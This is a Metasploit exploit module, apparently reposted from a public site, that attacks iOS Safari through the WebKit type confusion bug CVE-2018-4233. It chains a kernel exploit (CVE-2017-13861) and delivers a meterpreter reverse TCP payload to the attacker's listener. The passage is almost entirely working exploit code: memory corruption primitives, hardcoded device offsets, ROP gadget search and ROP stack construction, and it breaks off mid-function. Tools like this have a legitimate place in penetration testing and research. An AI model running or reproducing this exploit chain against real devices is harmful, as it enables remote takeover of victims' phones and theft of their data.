Share
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ManualRanking  
  
include Msf::Exploit::EXE  
include Msf::Exploit::Remote::HttpServer  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Safari Webkit Proxy Object Type Confusion',  
'Description' => %q{  
This module exploits a type confusion bug in the Javascript Proxy object in  
WebKit. The DFG JIT does not take into account that, through the use of a Proxy,  
it is possible to run arbitrary JS code during the execution of a CreateThis  
operation. This makes it possible to change the structure of e.g. an argument  
without causing a bailout, leading to a type confusion (CVE-2018-4233).  
  
The type confusion leads to the ability to allocate fake Javascript objects,  
as well as the ability to find the address in memory of a Javascript object.  
This allows us to construct a fake JSCell object that can be used to read  
and write arbitrary memory from Javascript. The module then uses a ROP chain  
to write the first stage shellcode into executable memory within the Safari  
process and kick off its execution.  
  
The first stage maps the second stage macho (containing CVE-2017-13861) into  
executable memory, and jumps to its entrypoint. The CVE-2017-13861 async_wake  
exploit leads to a kernel task port (TFP0) that can read and write arbitrary  
kernel memory. The processes credential and sandbox structure in the kernel  
is overwritten and the meterpreter payloads code signature hash is added to  
the kernels trust cache, allowing Safari to load and execute the (self-signed)  
meterpreter payload.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'saelo',  
'niklasb',  
'Ian Beer',  
'siguza',  
],  
'References' => [  
['CVE', '2018-4233'],  
['CVE', '2017-13861'],  
['URL', 'https://github.com/saelo/cve-2018-4233'],  
['URL', 'https://github.com/phoenhex/files/tree/master/exploits/ios-11.3.1'],  
['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1417'],  
['URL', 'https://github.com/JakeBlair420/totally-not-spyware/blob/master/root/js/spyware.js'],  
],  
'Arch' => ARCH_AARCH64,  
'Platform' => 'apple_ios',  
'DefaultTarget' => 0,  
'DefaultOptions' => { 'PAYLOAD' => 'apple_ios/aarch64/meterpreter_reverse_tcp' },  
'Targets' => [[ 'Automatic', {} ]],  
'DisclosureDate' => 'Mar 15 2018'))  
register_advanced_options([  
OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information in the exploit javascript", false]),  
OptBool.new('DUMP_OFFSETS', [false, "Show newly found offsets in a javascript prompt", false]),  
])  
end  
  
def exploit_data(directory, file)  
path = ::File.join Msf::Config.data_directory, 'exploits', directory, file  
::File.binread path  
end  
  
def payload_url  
"tcp://#{datastore["LHOST"]}:#{datastore["LPORT"]}"  
end  
  
def get_version(user_agent)  
if user_agent =~ /OS (.*?) like Mac OS X\)/  
ios_version = Gem::Version.new($1.gsub("_", "."))  
return ios_version  
end  
fail_with Failure::NotVulnerable, 'Target is not vulnerable'  
end  
  
def on_request_uri(cli, request)  
if request.uri =~ %r{/apple-touch-icon*}  
return  
elsif request.uri =~ %r{/favicon*}  
return  
elsif request.uri =~ %r{/payload10$*}  
payload_data = MetasploitPayloads::Mettle.new('aarch64-iphone-darwin').to_binary :dylib_sha1  
send_response(cli, payload_data, {'Content-Type'=>'application/octet-stream'})  
print_good("Sent sha1 iOS 10 payload")  
return  
elsif request.uri =~ %r{/payload11$*}  
payload_data = MetasploitPayloads::Mettle.new('aarch64-iphone-darwin').to_binary :dylib  
send_response(cli, payload_data, {'Content-Type'=>'application/octet-stream'})  
print_good("Sent sha256 iOS 11 payload")  
return  
end  
  
user_agent = request['User-Agent']  
print_status("Requesting #{request.uri} from #{user_agent}")  
version = get_version(user_agent)  
ios_11 = (version >= Gem::Version.new('11.0.0'))  
if request.uri =~ %r{/exploit$}  
loader_data = exploit_data('CVE-2017-13861', 'exploit')  
srvhost = Rex::Socket.resolv_nbo_i(srvhost_addr)  
config = [srvhost, srvport].pack("Nn") + payload_url  
payload_url_index = loader_data.index('PAYLOAD_URL')  
loader_data[payload_url_index, config.length] = config  
print_good("Sent async_wake exploit")  
send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'})  
return  
end  
  
get_mem_rw_ios_10 = %Q^  
function get_mem_rw(stage1) {  
var structs = [];  
function sprayStructures() {  
function randomString() {  
return Math.random().toString(36).replace(/[\^a-z]+/g, "").substr(0, 5)  
}  
for (var i = 0; i < 4096; i++) {  
var a = new Float64Array(1);  
a[randomString()] = 1337;  
structs.push(a)  
}  
}  
sprayStructures();  
var hax = new Uint8Array(4096);  
var jsCellHeader = new Int64([0, 16, 0, 0, 0, 39, 24, 1]);  
var container = {  
jsCellHeader: jsCellHeader.asJSValue(),  
butterfly: false,  
vector: hax,  
lengthAndFlags: (new Int64("0x0001000000000010")).asJSValue()  
};  
var address = Add(stage1.addrof(container), 16);  
var fakearray = stage1.fakeobj(address);  
while (!(fakearray instanceof Float64Array)) {  
jsCellHeader.assignAdd(jsCellHeader, Int64.One);  
container.jsCellHeader = jsCellHeader.asJSValue()  
}  
memory = {  
read: function(addr, length) {  
fakearray[2] = i2f(addr);  
var a = new Array(length);  
for (var i = 0; i < length; i++) a[i] = hax[i];  
return a  
},  
readInt64: function(addr) {  
return new Int64(this.read(addr, 8))  
},  
write: function(addr, data) {  
fakearray[2] = i2f(addr);  
for (var i = 0; i < data.length; i++) hax[i] = data[i]  
},  
writeInt64: function(addr, val) {  
return this.write(addr, val.bytes())  
},  
};  
var empty = {};  
var header = memory.read(stage1.addrof(empty), 8);  
memory.write(stage1.addrof(container), header);  
var f64array = new Float64Array(8);  
header = memory.read(stage1.addrof(f64array), 16);  
memory.write(stage1.addrof(fakearray), header);  
memory.write(Add(stage1.addrof(fakearray), 24), [16, 0, 0, 0, 1, 0, 0, 0]);  
fakearray.container = container;  
return memory;  
}  
^  
  
get_mem_rw_ios_11 = %Q^  
function get_mem_rw(stage1) {  
var FPO = typeof(SharedArrayBuffer) === 'undefined' ? 0x18 : 0x10;  
var structure_spray = []  
for (var i = 0; i < 1000; ++i) {  
var ary = {a:1,b:2,c:3,d:4,e:5,f:6,g:0xfffffff}  
ary['prop'+i] = 1  
structure_spray.push(ary)  
}  
var manager = structure_spray[500]  
var leak_addr = stage1.addrof(manager)  
//print('leaking from: '+ hex(leak_addr))  
function alloc_above_manager(expr) {  
var res  
do {  
for (var i = 0; i < ALLOCS; ++i) {  
structure_spray.push(eval(expr))  
}  
res = eval(expr)  
} while (stage1.addrof(res) < leak_addr)  
return res  
}  
var unboxed_size = 100  
var unboxed = alloc_above_manager('[' + '13.37,'.repeat(unboxed_size) + ']')  
var boxed = alloc_above_manager('[{}]')  
var victim = alloc_above_manager('[]')  
// Will be stored out-of-line at butterfly - 0x10  
victim.p0 = 0x1337  
function victim_write(val) {  
victim.p0 = val  
}  
function victim_read() {  
return victim.p0  
}  
i32[0] = 0x200 // Structure ID  
i32[1] = 0x01082007 - 0x10000 // Fake JSCell metadata, adjusted for boxing  
var outer = {  
p0: 0, // Padding, so that the rest of inline properties are 16-byte aligned  
p1: f64[0],  
p2: manager,  
p3: 0xfffffff, // Butterfly indexing mask  
}  
var fake_addr = stage1.addrof(outer) + FPO + 0x8;  
//print('fake obj @ ' + hex(fake_addr))  
var unboxed_addr = stage1.addrof(unboxed)  
var boxed_addr = stage1.addrof(boxed)  
var victim_addr = stage1.addrof(victim)  
//print('leak ' + hex(leak_addr)  
//+ ' unboxed ' + hex(unboxed_addr)  
//+ ' boxed ' + hex(boxed_addr)  
//+ ' victim ' + hex(victim_addr))  
var holder = {fake: {}}  
holder.fake = stage1.fakeobj(fake_addr)  
// From here on GC would be uncool  
// Share a butterfly for easier boxing/unboxing  
var shared_butterfly = f2i(holder.fake[(unboxed_addr + 8 - leak_addr) / 8])  
var boxed_butterfly = holder.fake[(boxed_addr + 8 - leak_addr) / 8]  
holder.fake[(boxed_addr + 8 - leak_addr) / 8] = i2f(shared_butterfly)  
var victim_butterfly = holder.fake[(victim_addr + 8 - leak_addr) / 8]  
function set_victim_addr(where) {  
holder.fake[(victim_addr + 8 - leak_addr) / 8] = i2f(where + 0x10)  
}  
function reset_victim_addr() {  
holder.fake[(victim_addr + 8 - leak_addr) / 8] = victim_butterfly  
}  
var stage2 = {  
addrof: function(victim) {  
boxed[0] = victim  
return f2i(unboxed[0])  
},  
fakeobj: function(addr) {  
unboxed[0] = i2f(addr)  
return boxed[0]  
},  
write64: function(where, what) {  
set_victim_addr(where)  
victim_write(this.fakeobj(what))  
reset_victim_addr()  
},  
read64: function(where) {  
set_victim_addr(where)  
var res = this.addrof(victim_read())  
reset_victim_addr()  
return res;  
},  
write_non_zero: function(where, values) {  
for (var i = 0; i < values.length; ++i) {  
if (values[i] != 0)  
this.write64(where + i*8, values[i])  
}  
},  
readInt64: function(where) {  
if (where instanceof Int64) {  
where = Add(where, 0x10);  
holder.fake[(victim_addr + 8 - leak_addr) / 8] = where.asDouble();  
} else {  
set_victim_addr(where);  
}  
boxed[0] = victim_read();  
var res = f2i(unboxed[0]);  
reset_victim_addr();  
return new Int64(res);  
},  
read: function(addr, length) {  
var address = new Int64(addr);  
var a = new Array(length);  
var i;  
  
for (i = 0; i + 8 < length; i += 8) {  
v = this.readInt64(Add(address, i)).bytes()  
for (var j = 0; j < 8; j++) {  
a[i+j] = v[j];  
}  
}  
  
v = this.readInt64(Add(address, i)).bytes()  
for (var j = i; j < length; j++) {  
a[j] = v[j - i];  
}  
  
return a  
},  
test: function() {  
this.write64(boxed_addr + 0x10, 0xfff) // Overwrite index mask, no biggie  
if (0xfff != this.read64(boxed_addr + 0x10)) {  
fail(2)  
}  
},  
}  
// Test read/write  
stage2.test()  
return stage2;  
}  
^  
  
get_mem_rw = (version >= Gem::Version.new('11.2.2')) ? get_mem_rw_ios_11 : get_mem_rw_ios_10  
utils = exploit_data "CVE-2018-4233", "utils.js"  
int64 = exploit_data "CVE-2018-4233", "int64.js"  
dump_offsets = ''  
if datastore['DUMP_OFFSETS']  
dump_offsets = %Q^  
var offsetstr = uuid + " : { ";  
var offsetarray = [ "_dlsym", "_dlopen", "__longjmp", "regloader", "dispatch", "stackloader", "movx4", "ldrx8", "_mach_task_self_", "__kernelrpc_mach_vm_protect_trap", "__platform_memmove",  
"__ZN3JSC30endOfFixedExecutableMemoryPoolE", "__ZN3JSC29jitWriteSeparateHeapsFunctionE", "__ZN3JSC32startOfFixedExecutableMemoryPoolE", ];  
for (var i = 0; i < offsetarray.length; i++) {  
var offset = offsets[offsetarray[i]];  
if (offset) {  
var offsethex = Sub(offset, cache_slide).toString().replace("0x0000000", "0x");  
offsetstr += "\\"" + offsetarray[i] + "\\" : " + offsethex + ", ";  
}  
}  
offsetstr += "}, ";  
prompt("offsets: ", offsetstr);  
^  
end  
  
html = %Q^  
<html>  
<body>  
<script>  
  
#{utils}  
#{int64}  
  
print = alert;  
ITERS = 1E4;  
ALLOCS = 1E3;  
  
var conversion_buffer = new ArrayBuffer(8);  
var f64 = new Float64Array(conversion_buffer);  
var i32 = new Uint32Array(conversion_buffer);  
var BASE32 = 0x100000000;  
  
function f2i(f) {  
f64[0] = f;  
return i32[0] + BASE32 * i32[1];  
}  
  
function i2f(i) {  
i32[0] = i % BASE32;  
i32[1] = i / BASE32;  
return f64[0];  
}  
  
function hexit(x) {  
if (x instanceof Int64) return x.toString();  
if (x < 0) return "-" + hex(-x);  
return "0x" + x.toString(16);  
}  
  
function fail(x) {  
print('FAIL ' + x);  
location.reload();  
throw null;  
}  
  
counter = 0;  
  
// CVE-2018-4233  
function trigger(constr, modify, res, val) {  
return eval(`  
var o = [13.37]  
var Constructor${counter} = function(o) { ${constr} }  
var hack = false  
var Wrapper = new Proxy(Constructor${counter}, {  
get: function() {  
if (hack) {  
${modify}  
}  
}  
})  
for (var i = 0; i < ITERS; ++i)  
new Wrapper(o)  
hack = true  
var bar = new Wrapper(o)  
${res}  
`)  
}  
  
var workbuf = new ArrayBuffer(0x1000000);  
var payload = new Uint8Array(workbuf);  
  
function pwn() {  
var stage1 = {  
addrof: function(victim) {  
return f2i(trigger("this.result = o[0]", "o[0] = val", "bar.result", victim))  
},  
fakeobj: function(addr) {  
return trigger("o[0] = val", "o[0] = {}", "o[0]", i2f(addr))  
},  
test: function() {  
var addr = this.addrof({  
a: 4919  
});  
var x = this.fakeobj(addr);  
if (x.a != 4919) fail("stage1")  
}  
};  
stage1.test();  
  
var stage2 = get_mem_rw(stage1);  
var FPO = #{ios_11 ? "(typeof(SharedArrayBuffer) === 'undefined') ? 0x20 : 0x18;" : "0x18;"}  
var memory = stage2;  
memory.u32 = _u32;  
  
var wrapper = document.createElement("div");  
var wrapper_addr = stage1.addrof(wrapper);  
var el_addr = memory.readInt64(wrapper_addr + FPO);  
var vtab = memory.readInt64(el_addr);  
  
var anchor = memory.readInt64(vtab);  
var hdr = Sub(anchor, anchor.lo() & 0xfff);  
var b = [];  
while(true)  
{  
if (memory.readInt64(hdr).lo() == 4277009104) {  
fail('WebCore ' + hdr + ' post spectre support coming soon');  
}  
if(strcmp(memory.read(hdr, 0x10), "dyld_v1 arm64"))  
{  
break;  
}  
hdr = Sub(hdr, 0x1000);  
}  
  
var base_seg = null;  
var nsegs = memory.u32(Add(hdr, 0x14));  
var segdata = memory.read(Add(hdr, memory.u32(Add(hdr, 0x10))), nsegs * 0x20);  
var segs = [];  
for(var i = 0; i < nsegs; ++i)  
{  
var off = i * 0x20;  
var seg =  
{  
addr: new Int64(segdata.slice(off + 0x0, off + 0x8)),  
size: new Int64(segdata.slice(off + 0x8, off + 0x10)),  
fileoff: new Int64(segdata.slice(off + 0x10, off + 0x18)),  
maxprot: b2u32(segdata.slice(off + 0x18, off + 0x1c)),  
initprot: b2u32(segdata.slice(off + 0x1c, off + 0x20))  
};  
segs.push(seg);  
if(seg.fileoff.hi() == 0 && seg.fileoff.lo() == 0 && (seg.size.hi() != 0 || seg.size.lo() != 0))  
{  
base_seg = seg;  
}  
}  
if(base_seg == null)  
{  
fail("base_seg");  
}  
  
var cache_slide = Sub(hdr, base_seg.addr);  
var uuid = memory.readInt64(Add(hdr, 0x58)).lo();  
var offset_cache = {  
// iPod Touch 10.1.1  
788795426 : { "_dlsym" : 0x18052ddd8, "_dlopen" : 0x18052dd10, "__longjmp" : 0x1806ffb78, "regloader" : 0x180f0622c, "dispatch" : 0x180d7e058, "stackloader" : 0x18099a8e8, "_mach_task_self_" : 0x1a586e3bc,  
"__kernelrpc_mach_vm_protect_trap" : 0x1806240a4, "__platform_memmove" : 0x1806ffe00, "__ZN3JSC30endOfFixedExecutableMemoryPoolE" : 0x1a457c438, },  
  
// iPhone 5S 10.2.1  
3432281541 : { "_dlsym" : 0x18052edd8, "_dlopen" : 0x18052ed10, "__longjmp" : 0x180700b78, "regloader" : 0x180f07230, "dispatch" : 0x180d7f05c, "stackloader" : 0x18099b8ec, "mach_task_self" : 0x1a6da23bc,  
"__kernelrpc_mach_vm_protect_trap" : 0x1806250c0, "__platform_memmove" : 0x180700e00, "__ZN3JSC30endOfFixedExecutableMemoryPoolE" : 0x1a5a0d438, },  
  
// iPhone 6S 11.0.3  
425478416 : { "_dlsym" : 0x180587574, "_dlopen" : 0x180587460, "__longjmp" : 0x1807bd7dc, "regloader" : 0x180051ad8, "dispatch" : 0x19b323a4c, "stackloader" : 0x19b2e6f40, "movx4" : 0x19b33305c,  
"ldrx8" : 0x180060028, "__ZN3JSC30endOfFixedExecutableMemoryPoolE" : 0x1b15d8a00, "__ZN3JSC29jitWriteSeparateHeapsFunctionE" : 0x1b15d8a08, "__ZN3JSC32startOfFixedExecutableMemoryPoolE" : 0x1b15d89f8, },  
};  
  
var offsets = offset_cache[uuid];  
if (offsets)  
{  
var k = Object.keys(offsets);  
for(var i = 0; i < k.length; ++i)  
{  
var s = k[i];  
offsets[s] = Add(offsets[s], cache_slide);  
}  
}  
else  
{  
var syms = {};  
var gadgets = {};  
  
for(var i = 0; i < segs.length; ++i)  
{  
segs[i].addr = Add(segs[i].addr, cache_slide);  
}  
var libs =  
{  
"/usr/lib/system/libdyld.dylib": ["_dlsym", "_dlopen"],  
#{ ios_11 ? '  
"/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore": ["__ZN3JSC29jitWriteSeparateHeapsFunctionE"],  
"/usr/lib/system/libsystem_platform.dylib": ["__longjmp"],  
' : '  
"/usr/lib/system/libsystem_platform.dylib": ["__longjmp", "__platform_memmove"],  
"/usr/lib/system/libsystem_kernel.dylib": ["_mach_task_self_", "__kernelrpc_mach_vm_protect_trap"],  
"/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore": ["__ZN3JSC30endOfFixedExecutableMemoryPoolE"],  
'}  
}  
  
#{ ios_11 ? '  
var opcodes = {  
// ldr x8, [sp] ; str x8, [x19] ; ldp x29, x30, [sp, #0x20] ; ldp x20, x19, [sp, #0x10] ; add sp, sp, #0x30 ; ret  
"ldrx8": [ [0xf94003e8, 0xf9000268, 0xa9427bfd, 0xa9414ff4, 0x9100c3ff, 0xd65f03c0] ],  
// blr x21; ldp x29, x30, [sp, 0x30]; ldp x20, x19, [sp, 0x20]; ldp x22, x21, [sp, 0x10]; add sp, sp, 0x40; ret  
"dispatch": [ [ 0xd63f02a0, 0xa9437bfd, 0xa9424ff4, 0xa94157f6, 0x910103ff, 0xd65f03c0 ] ],  
// mov x3, x22 ; mov x6, x27 ; mov x0, x24 ; mov x1, x19 ; mov x2, x23 ; ldr x4, [sp] ; blr x8  
"regloader": [ [ 0xaa1603e3, 0xaa1b03e6, 0xaa1803e0, 0xaa1303e1, 0xaa1703e2, 0xf94003e4, 0xd63f0100 ] ],  
// ldp x29, x30, [sp, 0x60]; ldp x20, x19, [sp, 0x50]; ldp x22, x21, [sp, 0x40]; ldp x24, x23, [sp, 0x30];  
// ldp x26, x25, [sp, 0x20]; ldp x28, x27, [sp, 0x10]; add sp, sp, 0x70; ret  
"stackloader": [ [ 0xa9467bfd, 0xa9454ff4, 0xa94457f6, 0xa9435ff8, 0xa94267fa, 0xa9416ffc, 0x9101c3ff, 0xd65f03c0 ] ],  
// mov x4, x20 ; blr x8  
"movx4": [ [ 0xaa1403e4, 0xd63f0100 ] ],  
}  
var opcode_libs = [  
"/usr/lib/PN548.dylib", // dispatch, stackloader  
"/usr/lib/libc++.1.dylib", // ldrx8, regloader, movx4, stackloader  
];  
  
' : '  
var opcodes = {  
// mov x0, x23; mov x1, x22; mov x2, x24; mov x3, x25; mov x4, x26; mov x5, x27; blr x28  
"regloader": [ [ 0xaa1703e0, 0xaa1603e1, 0xaa1803e2, 0xaa1903e3, 0xaa1a03e4, 0xaa1b03e5, 0xd63f0380 ] ],  
"dispatch": [  
// blr x21; ldp x29, x30, [sp, 0x30]; ldp x20, x19, [sp, 0x20]; ldp x22, x21, [sp, 0x10]; add sp, sp, 0x40; ret  
[ 0xd63f02a0, 0xa9437bfd, 0xa9424ff4, 0xa94157f6, 0x910103ff, 0xd65f03c0 ],  
// blr x21; sub sp, x29, 0x20; ldp x29, x30, [sp, 0x20]; ldp x20, x19, [sp, 0x10]; ldp x22, x21, [sp], 0x30; ret  
[ 0xd63f02a0, 0xd10083bf, 0xa9427bfd, 0xa9414ff4, 0xa8c357f6, 0xd65f03c0 ],  
],  
"stackloader": [  
// ldp x29, x30, [sp, 0x60]; ldp x20, x19, [sp, 0x50]; ldp x22, x21, [sp, 0x40]; ldp x24, x23, [sp, 0x30];  
// ldp x26, x25, [sp, 0x20]; ldp x28, x27, [sp, 0x10]; add sp, sp, 0x70; ret  
[ 0xa9467bfd, 0xa9454ff4, 0xa94457f6, 0xa9435ff8, 0xa94267fa, 0xa9416ffc, 0x9101c3ff, 0xd65f03c0 ],  
// sub sp, x29, 0x50; ldp x29, x30, [sp, 0x50]; ldp x20, x19, [sp, 0x40]; ldp x22, x21, [sp, 0x30];  
// ldp x24, x23, [sp, 0x20]; ldp x26, x25, [sp, 0x10]; ldp x28, x27, [sp], 0x60; ret  
[ 0xd10143bf, 0xa9457bfd, 0xa9444ff4, 0xa94357f6, 0xa9425ff8, 0xa94167fa, 0xa8c66ffc, 0xd65f03c0 ],  
],  
};  
  
var opcode_libs = [ "/usr/lib/libLLVM.dylib" ];  
'}  
  
var imgs = Add(hdr, memory.u32(Add(hdr, 0x18)));  
var nimgs = memory.u32(Add(hdr, 0x1c));  
for(var i = 0; i < nimgs; ++i)  
{  
var straddr = off2addr(segs, memory.u32(Add(imgs, i * 0x20 + 0x18)));  
var fn = function(i)  
{  
return memory.read(Add(straddr, i), 1)[0];  
};  
var base = Add(memory.readInt64(Add(imgs, i * 0x20)), cache_slide);  
if(opcode_libs.some(lib => strcmp(fn, lib)))  
{  
var ncmds = memory.u32(Add(base, 0x10));  
for(var j = 0, off = 0x20; j < ncmds; ++j)  
{  
var cmd = memory.u32(Add(base, off));  
if(cmd == 0x19 && strcmp(memory.read(Add(base, off + 0x8), 0x10), "__TEXT")) // LC_SEGMENT_64  
{  
var nsects = memory.u32(Add(base, off + 0x40));  
for(var k = 0, o = off + 0x48; k < nsects; ++k)  
{  
if(strcmp(memory.read(Add(base, o), 0x10), "__text"))  
{  
var keys = Object.keys(opcodes).filter(k=>!gadgets.hasOwnProperty[k])  
if (keys.length == 0) break;  
  
var addr = Add(memory.readInt64(Add(base, o + 0x20)), cache_slide)  
var size = memory.u32(Add(base, o + 0x28))  
  
// Copy the entire __text region into a Uint32Array for faster processing.  
// Previously you could map a Uint32Array over the data, but on i7+ devices  
// this caused access violations.  
// Instead we read the entire region and copy it into a Uint32Array. The  
// memory.read primitive has a weird limitation where it's only able to read  
// up to 4096 bytes. to get around this we'll read multiple times and combine  
// them into one.  
  
var allData = new Uint32Array(size / 4)  
for (var r = 0; r < size; r += 4096) {  
// Check to ensure we don't read out of the region we want  
var qty = 4096  
if (size - r < qty) {  
qty = size - r  
}  
var data = memory.read(Add(addr, r), qty)  
  
// Data is an array of single bytes. This code takes four entries  
// and converts them into a single 32-bit integer. It then adds it  
// into the `allData` array at the given index  
for (var h = 0; h < qty; h += 4) {  
var fourBytes = b2u32(data.slice(h, h + 4))  
allData[(r + h) / 4] = fourBytes  
}  
}  
  
// Loop through the entire data map looking for each gadget we need  
for (var f = 0; f < size && keys.length > 0; f++) {  
  
// Check every gadget  
for (var z = 0; z < keys.length; z++) {  
var key = keys[z];  
var opcode_list = opcodes[key];  
for (var y = 0; y < opcode_list.length; y++) {  
var opcode = opcode_list[y];  
for (var t = 0; t < opcode.length; t++) {  
var op = allData[f+t];  
if (op == opcode[t]) {  
if (t == opcode.length - 1) {  
gadgets[key] = Add(addr, f*4);  
keys.splice(z, 1);  
z = keys.length;  
break;  
}  
continue;  
}  
break;  
}  
}  
}  
}  
  
break;  
}  
o += 0x50;  
}  
break;  
}  
off += memory.u32(Add(base, off + 0x4));  
}  
continue;  
}  
var lookup = null;  
for(var k = Object.keys(libs), j = 0; j < k.length; ++j)  
{  
if(strcmp(fn, k[j]))  
{  
lookup = libs[k[j]];  
break;  
}  
}  
if(lookup != null)  
{  
fsyms(memory, base, segs, lookup, syms);  
}  
}  
  
var vals = Object.keys(libs).map(function(key) {  
return libs[key];  
});  
var k = vals.reduce(function(p,c){ c.forEach(function(e){ p.push(e) });return p; }, []);  
for(var i = 0; i < k.length; ++i)  
{  
var s = k[i];  
if(syms[s] == null)  
{  
fail(s);  
}  
syms[s] = Add(syms[s], cache_slide);  
}  
k = Object.keys(opcodes);  
for(var i = 0; i < k.length; ++i)  
{  
var s = k[i];  
if(gadgets[s] == null)  
{  
fail(s);  
}  
}  
  
offsets = {}  
offsets["regloader"] = gadgets["regloader"];  
offsets["dispatch"] = gadgets["dispatch"];  
offsets["stackloader"] = gadgets["stackloader"];  
offsets["ldrx8"] = gadgets["ldrx8"];  
offsets["movx4"] = gadgets["movx4"];  
offsets["__longjmp"] = syms["__longjmp"];  
offsets["__kernelrpc_mach_vm_protect_trap"] = syms["__kernelrpc_mach_vm_protect_trap"];  
offsets["__platform_memmove"] = syms["__platform_memmove"];  
offsets["_dlopen"] = syms["_dlopen"];  
offsets["_dlsym"] = syms["_dlsym"];  
offsets["_mach_task_self_"] = syms["_mach_task_self_"];  
offsets["__ZN3JSC32startOfFixedExecutableMemoryPoolE"] = syms["__ZN3JSC32startOfFixedExecutableMemoryPoolE"];  
offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"] = syms["__ZN3JSC30endOfFixedExecutableMemoryPoolE"];  
offsets["__ZN3JSC29jitWriteSeparateHeapsFunctionE"] = syms["__ZN3JSC29jitWriteSeparateHeapsFunctionE"];  
  
if (offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"] == null && offsets["__ZN3JSC29jitWriteSeparateHeapsFunctionE"] != null) {  
offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"] = Sub(offsets["__ZN3JSC29jitWriteSeparateHeapsFunctionE"], 8);  
}  
#{ ios_11 ? '  
if (offsets["__ZN3JSC32startOfFixedExecutableMemoryPoolE"] == null && offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"] != null) {  
offsets["__ZN3JSC32startOfFixedExecutableMemoryPoolE"] = Sub(offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"], 8);  
}' : ''}  
  
#{dump_offsets}  
  
}  
  
  
var regloader = offsets["regloader"];  
var dispatch = offsets["dispatch"];  
var stackloader = offsets["stackloader"];  
var longjmp = offsets["__longjmp"];  
var mach_vm_protect = offsets["__kernelrpc_mach_vm_protect_trap"];  
var memmove = offsets["__platform_memmove"];  
var dlopen = offsets["_dlopen"];  
var dlsym = offsets["_dlsym"];  
var task_self = offsets["_mach_task_self_"]  
var endOfFixedMem = offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"];  
var startOfFixedMem = offsets["__ZN3JSC32startOfFixedExecutableMemoryPoolE"];  
  
var ldrx8 = offsets["ldrx8"]; // might be null  
var movx4 = offsets["movx4"]; // might be null  
  
var mach_task_self_ = new Int64(memory.readInt64(task_self).lo());  
var memPoolEnd = memory.readInt64(endOfFixedMem);  
  
var memPoolStart = Int64.Zero;  
if (startOfFixedMem) {  
memPoolStart = memory.readInt64(startOfFixedMem);  
}  
  
var jitWriteSeparateHeaps = Int64.Zero;  
if (offsets["__ZN3JSC29jitWriteSeparateHeapsFunctionE"]) {  
jitWriteSeparateHeaps = memory.readInt64(offsets["__ZN3JSC29jitWriteSeparateHeapsFunctionE"]);  
}  
  
var shsz = new Int64("0x100000");  
var paddr = memory.readInt64(Add(stage1.addrof(payload), 0x10));  
var codeAddr = Sub(memPoolEnd, shsz);  
codeAddr = Sub(codeAddr, codeAddr.lo() & 0x3fff);  
  
memory.writeInt64(Add(vtab, 0x18), longjmp);  
memory.writeInt64(Add(el_addr, 0x58), stackloader); // x30 (gadget)  
  
var arrsz = 0x100000,  
off = 0x1000;  
var arr = new Uint32Array(arrsz);  
var stack = memory.readInt64(Add(stage1.addrof(arr), 0x10));  
  
var pos = arrsz - off;  
  
var add_call_llvm = function(func, x0, x1, x2, x3, x4, jump_to) {  
x4 = x4 || Int64.Zero  
  
// in stackloader:  
arr[pos++] = 0xdead0010; // unused  
arr[pos++] = 0xdead0011; // unused  
arr[pos++] = 0xdead0012; // unused  
arr[pos++] = 0xdead0013; // unused  
arr[pos++] = dispatch.lo(); // x28 (gadget for regloader)  
arr[pos++] = dispatch.hi(); // x28 (gadget for regloader)  
arr[pos++] = 0xdead0014; // x27 (unused)  
arr[pos++] = 0xdead0015; // x27 (unused)  
arr[pos++] = x4.lo(); // x26 == x4 (arg5)  
arr[pos++] = x4.hi(); // x26 == x4 (arg5)  
arr[pos++] = x3.lo(); // x25 == x3 (arg4)  
arr[pos++] = x3.hi(); // x25 == x3 (arg4)  
arr[pos++] = x2.lo(); // x24 == x2 (arg3)  
arr[pos++] = x2.hi(); // x24 == x2 (arg3)  
arr[pos++] = x0.lo(); // x23 == x0 (arg1)  
arr[pos++] = x0.hi(); // x23 == x0 (arg1)  
arr[pos++] = x1.lo(); // x22 == x1 (arg2)  
arr[pos++] = x1.hi(); // x22 == x1 (arg2)  
arr[pos++] = func.lo(); // x21 (func)  
arr[pos++] = func.hi(); // x21 (func)  
arr[pos++] = 0xdbad0018; // x20 (unused)  
arr[pos++] = 0xdbad0019; // x20 (unused)  
arr[pos++] = 0xdead001a; // x19 (unused)  
arr[pos++] = 0xdead001b; // x19 (unused)  
var tmppos = pos;  
arr[pos++] = Add(stack, tmppos*4 + 0x40).lo(); // x29  
arr[pos++] = Add(stack, tmppos*4 + 0x40).hi(); // x29  
arr[pos++] = regloader.lo(); // x30 (first gadget)  
arr[pos++] = regloader.hi(); // x30 (first gadget)  
  
// after dispatch:  
arr[pos++] = 0xdead0020; // unused  
arr[pos++] = 0xdead0021; // unused  
arr[pos++] = 0xdead0022; // unused  
arr[pos++] = 0xdead0023; // unused  
arr[pos++] = 0xdead0024; // x22 (unused)  
arr[pos++] = 0xdead0025; // x22 (unused)  
arr[pos++] = 0xdead0026; // x21 (unused)  
arr[pos++] = 0xdead0027; // x21 (unused)  
arr[pos++] = 0xdead0028; // x20 (unused)  
arr[pos++] = 0xdead0029; // x20 (unused)  
arr[pos++] = 0xdead002a; // x19 (unused)  
arr[pos++] = 0xdead002b; // x19 (unused)  
tmppos = pos;  
arr[pos++] = Add(stack, tmppos*4 + 0x70).lo(); // x29  
arr[pos++] = Add(stack, tmppos*4 + 0x70).hi(); // x29  
arr[pos++] = jump_to.lo(); // x30 (gadget)  
arr[pos++] = jump_to.hi(); // x30 (gadget)  
}  
  
var add_call_via_x8 = function(func, x0, x1, x2, x3, x4, jump_to) {  
//alert(`add_call_via_x8: ${func}(${x0}, ${x1}, ${x2}, ${x3}, ${x4}, ${jump_to})`);  
//x4 = x4 || Int64.One  
// in stackloader:  
arr[pos++] = 0xdead0010; // unused  
arr[pos++] = 0xdead0011; // unused  
